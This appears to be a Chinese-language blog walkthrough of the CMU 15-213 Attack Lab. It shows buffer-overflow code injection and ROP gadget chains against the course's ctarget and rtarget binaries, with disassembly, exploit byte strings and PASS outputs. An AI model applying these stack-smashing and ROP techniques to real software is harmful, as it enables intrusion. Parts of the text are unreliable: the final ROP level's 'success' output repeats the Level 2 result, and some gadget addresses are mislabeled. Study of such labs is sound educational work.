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  • Part I
    • Level 1
    • Level 2
    • Level 3
  • Part II
    • Level 2
    • Level 3

Part I

Level 1

00000000004017a8 <getbuf>:4017a8:  48 83 ec 28             sub    $0x28,%rsp   // 40个字节4017ac: 48 89 e7                mov    %rsp,%rdi4017af: e8 8c 02 00 00          callq  401a40 <Gets>4017b4:   b8 01 00 00 00          mov    $0x1,%eax4017b9: 48 83 c4 28             add    $0x28,%rsp4017bd:    c3                      retq   4017be:  90                      nop4017bf:  90                      nop0000000000401968 <test>:401968:    48 83 ec 08             sub    $0x8,%rsp40196c: b8 00 00 00 00          mov    $0x0,%eax401971: e8 32 fe ff ff          callq  4017a8 <getbuf>  //首先，栈指针减8，把0x401976放入栈中，然后再将%rip值该为0x4017a8。401976: 89 c2                   mov    %eax,%edx401978: be 88 31 40 00          mov    $0x403188,%esi40197d:    bf 01 00 00 00          mov    $0x1,%edi401982: b8 00 00 00 00          mov    $0x0,%eax401987: e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>40198c:  48 83 c4 08             add    $0x8,%rsp401990: c3                      retq   401991:  90                      nop401992:  90                      nop401993:  90                      nop401994:  90                      nop401995:  90                      nop401996:  90                      nop401997:  90                      nop401998:  90                      nop401999:  90                      nop40199a:  90                      nop40199b:  90                      nop40199c:  90                      nop40199d:  90                      nop40199e:  90                      nop40199f:  90                      nop00000000004017c0 <touch1>:4017c0:  48 83 ec 08             sub    $0x8,%rsp4017c4: c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>4017cb:    00 00 00 4017ce:    bf c5 30 40 00          mov    $0x4030c5,%edi4017d3:    e8 e8 f4 ff ff          callq  400cc0 <puts@plt>4017d8:  bf 01 00 00 00          mov    $0x1,%edi4017dd: e8 ab 04 00 00          callq  401c8d <validate>4017e2:   bf 00 00 00 00          mov    $0x0,%edi4017e7: e8 54 f6 ff ff          callq  400e40 <exit@plt>

思路：touch1的首地址为0x4017c0，由getbuf的汇编代码可知，此函数开辟的栈大小为40字节，故当调用getbuf函数后，不断地输入字符，直到输入40个字符以后，然后再输入c0 17 40即可。

接下来，生成攻击文件：

touch exploit_level1.txt
vim exploit_level1.txt

注意小端存储：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

输入命令：cat exploit_level1.txt | ./hex2raw | ./ctarget -q
执行结果：

Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

Level 2

00000000004017ec <touch2>:4017ec:  48 83 ec 08             sub    $0x8,%rsp4017f0: 89 fa                   mov    %edi,%edx    4017f2: c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>4017f9:    00 00 00 4017fc:    3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie> 401802:   75 20                   jne    401824 <touch2+0x38>401804:   be e8 30 40 00          mov    $0x4030e8,%esi401809:    bf 01 00 00 00          mov    $0x1,%edi40180e: b8 00 00 00 00          mov    $0x0,%eax401813: e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>401818:  bf 02 00 00 00          mov    $0x2,%edi40181d: e8 6b 04 00 00          callq  401c8d <validate>401822:   eb 1e                   jmp    401842 <touch2+0x56>401824:   be 10 31 40 00          mov    $0x403110,%esi401829:    bf 01 00 00 00          mov    $0x1,%edi40182e: b8 00 00 00 00          mov    $0x0,%eax401833: e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>401838:  bf 02 00 00 00          mov    $0x2,%edi40183d: e8 0d 05 00 00          callq  401d4f <fail>401842:   bf 00 00 00 00          mov    $0x0,%edi401847: e8 f4 f5 ff ff          callq  400e40 <exit@plt>

分析：想要调用touch2，并且要将cookie传入%rdi。
故在调用touch2之前，应该首先执行：mov $0x59b997fa, %rdi；
然后执行：ret 指令将控制权转移到touch2。

想要生成其对应的机器指令，首先，编写一个名为1.s的汇编文件：

touch 1.s
vim 1.s

将这条汇编指令：

mov $0x59b997fa, %rdi
push $0x4017ec
ret

输入其中，然后保存。使用命令：gcc -c 1.s生成1.o文件，然后，使用命令：objdump -d 1.o > 1.d生成可阅读的汇编代码：

1.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:  48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi7:   68 ec 17 40 00          pushq  $0x4017ec  //将touch2的地址压入栈中c:    c3                      retq 可见，其对应的机器指令为：
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3 。

回顾以下ret指令的执行步骤：1. 弹出栈指针所指向的地址； 2. 跳转到该地址执行指令。

最后，我们需要将getbuf的返回地址修改为这三条指令的开始地址。

使用gdb：

gdb ctarget
b getbuf
stepi                 //进入getbuf
print /x $rsp     //打印getbuf中%rsp的值

获得getbuf的栈地址：0x5561dc78

所以攻击字符如下：

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

将其保存为exploit_level2.txt文件，然后使用命令：cat exploit_level2.txt | ./hex2raw | ./ctarget -q
成功调用touch2：

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Level 3

000000000040184c <hexmatch>:40184c:    41 54                   push   %r1240184e:  55                      push   %rbp40184f:  53                      push   %rbx401850:  48 83 c4 80             add    $0xffffffffffffff80,%rsp401854:  41 89 fc                mov    %edi,%r12d401857:    48 89 f5                mov    %rsi,%rbp40185a: 64 48 8b 04 25 28 00    mov    %fs:0x28,%rax401861: 00 00 401863:   48 89 44 24 78          mov    %rax,0x78(%rsp)401868:   31 c0                   xor    %eax,%eax40186a: e8 41 f5 ff ff          callq  400db0 <random@plt>40186f:    48 89 c1                mov    %rax,%rcx401872: 48 ba 0b d7 a3 70 3d    movabs $0xa3d70a3d70a3d70b,%rdx401879:  0a d7 a3 40187c:    48 f7 ea                imul   %rdx40187f:  48 01 ca                add    %rcx,%rdx401882: 48 c1 fa 06             sar    $0x6,%rdx401886: 48 89 c8                mov    %rcx,%rax401889: 48 c1 f8 3f             sar    $0x3f,%rax40188d:    48 29 c2                sub    %rax,%rdx401890: 48 8d 04 92             lea    (%rdx,%rdx,4),%rax401894:    48 8d 04 80             lea    (%rax,%rax,4),%rax401898:    48 c1 e0 02             shl    $0x2,%rax40189c: 48 29 c1                sub    %rax,%rcx40189f: 48 8d 1c 0c             lea    (%rsp,%rcx,1),%rbx4018a3:    45 89 e0                mov    %r12d,%r8d4018a6:    b9 e2 30 40 00          mov    $0x4030e2,%ecx4018ab:    48 c7 c2 ff ff ff ff    mov    $0xffffffffffffffff,%rdx4018b2:  be 01 00 00 00          mov    $0x1,%esi4018b7: 48 89 df                mov    %rbx,%rdi4018ba: b8 00 00 00 00          mov    $0x0,%eax4018bf: e8 ac f5 ff ff          callq  400e70 <__sprintf_chk@plt>4018c4: ba 09 00 00 00          mov    $0x9,%edx4018c9: 48 89 de                mov    %rbx,%rsi4018cc: 48 89 ef                mov    %rbp,%rdi4018cf: e8 cc f3 ff ff          callq  400ca0 <strncmp@plt>4018d4:   85 c0                   test   %eax,%eax4018d6: 0f 94 c0                sete   %al4018d9:   0f b6 c0                movzbl %al,%eax4018dc:  48 8b 74 24 78          mov    0x78(%rsp),%rsi4018e1:   64 48 33 34 25 28 00    xor    %fs:0x28,%rsi4018e8: 00 00 4018ea:   74 05                   je     4018f1 <hexmatch+0xa5>4018ec: e8 ef f3 ff ff          callq  400ce0 <__stack_chk_fail@plt>4018f1:  48 83 ec 80             sub    $0xffffffffffffff80,%rsp4018f5:  5b                      pop    %rbx4018f6:  5d                      pop    %rbp4018f7:  41 5c                   pop    %r124018f9:  c3                      retq   00000000004018fa <touch3>:4018fa:  53                      push   %rbx4018fb:  48 89 fb                mov    %rdi,%rbx4018fe: c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>401905:    00 00 00 401908:    48 89 fe                mov    %rdi,%rsi40190b: 8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>401911:    e8 36 ff ff ff          callq  40184c <hexmatch>401916:   85 c0                   test   %eax,%eax401918: 74 23                   je     40193d <touch3+0x43>40191a:   48 89 da                mov    %rbx,%rdx40191d: be 38 31 40 00          mov    $0x403138,%esi401922:    bf 01 00 00 00          mov    $0x1,%edi401927: b8 00 00 00 00          mov    $0x0,%eax40192c: e8 bf f4 ff ff          callq  400df0 <__printf_chk@plt>401931:  bf 03 00 00 00          mov    $0x3,%edi401936: e8 52 03 00 00          callq  401c8d <validate>40193b:   eb 21                   jmp    40195e <touch3+0x64>40193d:   48 89 da                mov    %rbx,%rdx401940: be 60 31 40 00          mov    $0x403160,%esi401945:    bf 01 00 00 00          mov    $0x1,%edi40194a: b8 00 00 00 00          mov    $0x0,%eax40194f: e8 9c f4 ff ff          callq  400df0 <__printf_chk@plt>401954:  bf 03 00 00 00          mov    $0x3,%edi401959: e8 f1 03 00 00          callq  401d4f <fail>40195e:   bf 00 00 00 00          mov    $0x0,%edi401963: e8 d8 f4 ff ff          callq  400e40 <exit@plt>

分析：要想执行完getbuf后，跳转至touch3，由于touch3的参数类型是char*，所以我们需要在栈中注入cookie的字符表示，以及将其地址传入%rdi，然后将touch3的地址压入栈中，最后ret返回。注意字符串地址的选取，因为当调用hexmatch和strncmp函数时，可能会覆盖我们注入的字符串，所以需要将字符串放入test栈中。

故其汇编代码如下：

mov $0x5561dca8, %rdi
push $0x4018fa
ret

使用与Level 2一样的方式，将其转化为机器指令：

2.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:  48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi7:   68 fa 18 40 00          pushq  $0x4018fac:  c3                      retq

然后，将cookie的值转化为字符格式：
59 b9 97 fa -> 35 39 62 39 39 37 66 61 00（最后的00表示结束）

且注入代码的首地址：0x5561dc78
所以注入代码如下：

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

成功：

cat exploit_level3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

Part II

Level 2

此Level是使用ROP继续做Part I的Level 2。

由Part I的Level 2可知，首先我们需要将cookie的值传入%rdi，然后将touch2的地址压入栈中，最后调用retq返回指令，执行touch2。

根据实验文档的提示，我们两个gadgets，它们位于start_farm到mid_farm之间。

我们需要movq（以%rdi）为dst，以及一个push指令，还有一个retq指令。

从start_farm到mid_farm之间的指令有：

000000000040199a <getval_142>:40199a:  b8 fb 78 90 90          mov    $0x909078fb,%eax40199f:  c3                      retq   00000000004019a0 <addval_273>:4019a0:  8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax4019a6:    c3                      retq   4019a0:  8d 87 4019a2: 48 89 c7  movq %rax, %rdi4019a5: c3   retq4019a6: c3   retq00000000004019a7 <addval_219>:4019a7:    8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax4019ad:    c3                      retq  4019a7:   8d 87 51 73
4019ab:   58   pop %rax
4019ac:   90   nop
4019ad: c3   retq00000000004019ae <setval_237>:4019ae:    c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)4019b4:    c3                      retq   00000000004019b5 <setval_424>:4019b5:  c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)4019bb:    c3                      retq   00000000004019bc <setval_470>:4019bc:  c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)4019c2:    c3                      retq   00000000004019c3 <setval_426>:4019c3:  c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)4019c9:    c3                      retq   00000000004019ca <getval_280>:4019ca:  b8 29 58 90 c3          mov    $0xc3905829,%eax4019cf:  c3                      retq   经过我们解析指令，发现函数addval_273和函数addval_219可以分为：
00000000004019a0 <addval_273>:4019a0: 8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax4019a6:    c3                      retq   4019a0:  8d 87 4019a2: 48 89 c7  movq %rax, %rdi4019a5: c3   retq4019a6: c3   retq00000000004019a7 <addval_219>:4019a7:    8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax4019ad:    c3                      retq  4019a7:   8d 87 51 73
4019ab:   58   pop %rax
4019ac:   90   nop
4019ad: c3   retq

发现这正合我们意。只要把0x4019ab覆盖getbuf的返回地址，然后再将0x59b997fa（cookie）和0x4019a2放于其后面，通过pop %rax和 movq %rax, %rdi，正好实现了movq $0x59b997fa, %rdi。

在此之前，将touch2的地址放于最后面，通过retq，刚好跳转到了touch2。

故经过以上分析，我们可以注入以下字符：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00。

成功：

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Level 3

官方解决方案需要8个gadget(并非所有gadget都是唯一的)。

Level3的目的是通过ROP完成Part I的level 3。及将cookie转化为字符，并将其地址传入到%rdi中，最后跳转至touch3执行。

由于此次栈地址即%rsp的值是位置的，所以无法直接将cookie的地址传入至%rdi中。这里，利用偏移量来间接得出字符的地址。

总体思路如下：

  1. 先获取栈顶指针的位置；

  2. 取出存在栈中的偏移量的值；

  3. 通过 lea (%rdi, %rsi, 1), %rax 得到cookie的地址；

  4. 将cookie的地址传给%rdi；

  5. 调用touch 3。

第一步：
首先肯定要用：movq %rsp, xxx （即栈顶指针（%rsp）的值赋给一个寄存器）；

0000000000401aab <setval_350>:401aab:  c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)401ab1:    c3                      retq   401aab:  c7 07 401aad: 48 89 e0        movq   %rsp, %rax401ab0: 90          nop401ab1: c3           retq

正好可以，所以第一个指令为：

movq %rsp, %rax，地址为0x 40 1a ad。

同时需要使用一个指令将%rax的值传给%rdi，

0000000004019c3 <setval_426>:4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)4019c9:    c3                      retq   4019c3:  c7 07 4019c5:  48 89 c7       movq     %rax,  %rdi4019c8:  90                    nop4019c9: c3                    retq

所以第二个指令为：

movq %rax, %rdi，地址为0x 40 19 c5。

第二步：
此时栈指针已经往下移了一位，我们正好将偏移量存在此处（我们将在最后一个位置存放字符串），所以要用到：popq xxx，类似指令。

00000000004019a7 <addval_219>:4019a7:  8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax4019ad:    c3                      retq   4019a7:  8d 87 51 73 4019ab:  58              popq %rax4019ec:  90               nop4019ed:  c3               retq

正好合意，所以第三个指令为：popq %rax，地址为0x40 19 ab。

同时，需要一个指令将其传给%rsi，

0000000000401a11 <addval_436>:401a11:  8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax401a17:    c3                      retq   401a11:  8d 87 401a13: 89 ce           movl  %ecx,  %esi 401a15: 90            nop401a16: 90            nop401a17: c3             retq0000000000401a68 <getval_311>:401a68:    b8 89 d1 08 db          mov    $0xdb08d189,%eax401a6d:  c3                      retq   401a68:  b8 401a69: 89 d1         movl %edx, %ecx401a6b: 08 db         orb  %bl,  %bl401a6d: c3             retq00000000004019db <getval_481>:4019db:  b8 5c 89 c2 90          mov    $0x90c2895c,%eax4019e0:  c3                      retq   4019db:  b8 5c4019dd:  89 c2     movl  %eax, %edx4019df:  90            nop4019e0:  c3          retq

所以此步骤总共需要三条指令实现：

1.  0x 40 19 dd:  89 c2     movl  %eax, %edx
2.  0x 40 1a 69: 89 d1      movl %edx, %ecx
3.  0x 40 1a 13: 89 ce       movl  %ecx,  %esi

第三步：
通过lea (%rdi, %rsi, 1), %rax 得到cookie的地址：

00000000004019d6 <add_xy>:4019d6:  48 8d 04 37             lea    (%rdi,%rsi,1),%rax4019da:    c3                      retq

发现正好有一个函数匹配，所以第七个指令为：

0x40 19 d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

第四步：
将cookie的地址传给%rdi：

0000000004019c3 <setval_426>:4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)4019c9:    c3                      retq   4019c3:  c7 07 4019c5:  48 89 c7       movq     %rax,  %rdi4019c8:  90                    nop4019c9: c3                    retq

所以第八条指令为：
0x 40 19 c5: 48 89 c7 movq %rax, %rdi

第五步：
调用touch 3。

即将touch3的地址弹出。(retq)
和partI的思路一样。

0x401aad: 48 89 e0        movq   %rsp, %rax
0x4019c5:  48 89 c7       movq     %rax,  %rdi
0x4019ab:  58                popq %rax
0x4019dd:  89 c2            movl  %eax, %edx
0x401a69: 89 d1            movl %edx, %ecx
0x401a13: 89 ce             movl  %ecx,  %esi
0x4019d6: 48 8d 04 37     lea    (%rdi,%rsi,1),%rax
0x4019c5:  48 89 c7       movq     %rax,  %rdi

经过计算，偏移量为72。

总之，注入的字符串为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

成功：

qiuyong@qiuyong-virtual-machine:~/labs/CMU 15-213/CMU 15-213 labs/Attack Lab/target1$ !c
cat exploit_level2_part2.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

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